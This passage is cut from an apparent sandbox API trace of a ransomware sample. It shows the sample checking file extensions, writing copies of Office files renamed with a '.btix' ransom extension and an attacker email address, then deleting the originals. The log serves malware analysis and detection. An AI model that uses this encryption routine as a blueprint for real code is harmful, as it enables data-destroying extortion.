returned 77 [0048.195] lstrlenW (lpString=".1cd") returned 4 [0048.195] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0048.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.195] lstrlenW (lpString=".jpg") returned 4 [0048.195] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0048.195] lstrcmpiW (lpString1=".XML", lpString2=".btix") returned 1 [0048.195] lstrlenW (lpString="SLERROR.XML") returned 11 [0048.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0048.196] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=36336) returned 1 [0048.196] CloseHandle (hObject=0x364) returned 1 [0048.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0048.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0048.196] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.196] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.196] GetLastError () returned 0x0 [0048.196] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x8df0, lpOverlapped=0x0) returned 1 [0048.388] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x8e00, lpOverlapped=0x0) returned 1 [0048.390] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0048.390] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xea, lpOverlapped=0x0) returned 1 [0048.390] SetEndOfFile (hFile=0x398) returned 1 [0048.390] CloseHandle (hObject=0x398) returned 1 [0048.391] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.392] SetEndOfFile (hFile=0x364) returned 1 [0048.392] CloseHandle (hObject=0x364) returned 1 [0048.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0048.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.393] lstrlenW (lpString=".doc") returned 4 [0048.393] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.393] lstrlenW (lpString=".docx") returned 5 [0048.393] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0048.393] lstrlenW (lpString=".pdf") returned 4 [0048.393] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.393] lstrlenW (lpString=".xls") returned 4 [0048.393] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.393] lstrlenW (lpString=".xlsx") returned 5 [0048.393] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0048.393] lstrlenW (lpString=".ppt") returned 4 [0048.393] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.393] lstrlenW (lpString=".zip") returned 4 [0048.393] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.393] lstrlenW (lpString=".rar") returned 4 [0048.393] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.393] lstrlenW (lpString=".bz2") returned 4 [0048.394] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.394] lstrlenW (lpString=".7z") returned 3 [0048.394] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.394] lstrlenW (lpString=".dbf") returned 4 [0048.394] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.394] lstrlenW (lpString=".1cd") returned 4 [0048.394] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.394] lstrlenW (lpString=".jpg") returned 4 [0048.394] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.394] lstrlenW (lpString=".doc") returned 4 [0048.394] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.394] lstrlenW (lpString=".docx") returned 5 [0048.394] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0048.394] lstrlenW (lpString=".pdf") returned 4 [0048.394] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.394] lstrlenW (lpString=".xls") returned 4 [0048.394] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.394] lstrlenW (lpString=".xlsx") returned 5 [0048.394] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0048.394] lstrlenW (lpString=".ppt") returned 4 [0048.394] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.394] lstrlenW (lpString=".zip") returned 4 [0048.394] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.394] lstrlenW (lpString=".rar") returned 4 [0048.395] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.395] lstrlenW (lpString=".bz2") returned 4 [0048.395] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.395] lstrlenW (lpString=".7z") returned 3 [0048.395] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.395] lstrlenW (lpString=".dbf") returned 4 [0048.395] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.395] lstrlenW (lpString=".1cd") returned 4 [0048.395] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0048.395] lstrlenW (lpString=".jpg") returned 4 [0048.395] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.395] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.395] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53 [0048.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0048.396] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=1533) returned 1 [0048.396] CloseHandle (hObject=0x364) returned 1 [0048.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0048.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0048.396] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.396] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.396] GetLastError () returned 0x0 [0048.396] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x5fd, lpOverlapped=0x0) returned 1 [0048.398] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x600, lpOverlapped=0x0) returned 1 [0048.399] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0048.399] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0048.399] SetEndOfFile (hFile=0x398) returned 1 [0048.399] CloseHandle (hObject=0x398) returned 1 [0048.400] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.400] SetEndOfFile (hFile=0x364) returned 1 [0048.400] CloseHandle (hObject=0x364) returned 1 [0048.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0048.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0048.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.401] lstrlenW (lpString=".doc") returned 4 [0048.401] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.401] lstrlenW (lpString=".docx") returned 5 [0048.401] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.401] lstrlenW (lpString=".pdf") returned 4 [0048.401] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.401] lstrlenW (lpString=".xls") returned 4 [0048.401] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.401] lstrlenW (lpString=".xlsx") returned 5 [0048.401] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.401] lstrlenW (lpString=".ppt") returned 4 [0048.401] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.401] lstrlenW (lpString=".zip") returned 4 [0048.402] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.402] lstrlenW (lpString=".rar") returned 4 [0048.402] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.402] lstrlenW (lpString=".bz2") returned 4 [0048.402] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.402] lstrlenW (lpString=".7z") returned 3 [0048.402] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.402] lstrlenW (lpString=".dbf") returned 4 [0048.402] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.402] lstrlenW (lpString=".1cd") returned 4 [0048.402] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.402] lstrlenW (lpString=".jpg") returned 4 [0048.402] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.402] lstrlenW (lpString=".doc") returned 4 [0048.402] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.402] lstrlenW (lpString=".docx") returned 5 [0048.402] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.403] lstrlenW (lpString=".pdf") returned 4 [0048.403] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.403] lstrlenW (lpString=".xls") returned 4 [0048.403] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.403] lstrlenW (lpString=".xlsx") returned 5 [0048.403] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.403] lstrlenW (lpString=".ppt") returned 4 [0048.403] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.403] lstrlenW (lpString=".zip") returned 4 [0048.403] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.403] lstrlenW (lpString=".rar") returned 4 [0048.403] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.403] lstrlenW (lpString=".bz2") returned 4 [0048.403] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.403] lstrlenW (lpString=".7z") returned 3 [0048.403] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.403] lstrlenW (lpString=".dbf") returned 4 [0048.403] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.403] lstrlenW (lpString=".1cd") returned 4 [0048.403] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0048.403] lstrlenW (lpString=".jpg") returned 4 [0048.403] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.403] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.403] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53 [0048.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.428] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=800867) returned 1 [0048.428] CloseHandle (hObject=0x38c) returned 1 [0048.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0048.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.428] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.429] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0048.430] GetLastError () returned 0x0 [0048.430] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xc3863, lpOverlapped=0x0) returned 1 [0048.498] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xc3870, lpOverlapped=0x0) returned 1 [0048.510] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0048.510] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0048.510] SetEndOfFile (hFile=0x364) returned 1 [0048.510] CloseHandle (hObject=0x364) returned 1 [0048.754] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.754] SetEndOfFile (hFile=0x38c) returned 1 [0048.760] CloseHandle (hObject=0x38c) returned 1 [0048.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0048.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0048.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.761] lstrlenW (lpString=".doc") returned 4 [0048.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.761] lstrlenW (lpString=".docx") returned 5 [0048.761] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.761] lstrlenW (lpString=".pdf") returned 4 [0048.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.761] lstrlenW (lpString=".xls") returned 4 [0048.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.761] lstrlenW (lpString=".xlsx") returned 5 [0048.761] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.761] lstrlenW (lpString=".ppt") returned 4 [0048.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.761] lstrlenW (lpString=".zip") returned 4 [0048.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.761] lstrlenW (lpString=".rar") returned 4 [0048.761] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.761] lstrlenW (lpString=".bz2") returned 4 [0048.761] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.761] lstrlenW (lpString=".7z") returned 3 [0048.761] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.761] lstrlenW (lpString=".dbf") returned 4 [0048.761] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.761] lstrlenW (lpString=".1cd") returned 4 [0048.761] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.761] lstrlenW (lpString=".jpg") returned 4 [0048.761] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.762] lstrlenW (lpString=".doc") returned 4 [0048.762] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.762] lstrlenW (lpString=".docx") returned 5 [0048.762] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.762] lstrlenW (lpString=".pdf") returned 4 [0048.762] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.762] lstrlenW (lpString=".xls") returned 4 [0048.762] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.762] lstrlenW (lpString=".xlsx") returned 5 [0048.762] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.762] lstrlenW (lpString=".ppt") returned 4 [0048.762] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.762] lstrlenW (lpString=".zip") returned 4 [0048.762] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.762] lstrlenW (lpString=".rar") returned 4 [0048.762] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.762] lstrlenW (lpString=".bz2") returned 4 [0048.762] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.762] lstrlenW (lpString=".7z") returned 3 [0048.762] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.763] lstrlenW (lpString=".dbf") returned 4 [0048.763] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.763] lstrlenW (lpString=".1cd") returned 4 [0048.763] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.763] lstrlenW 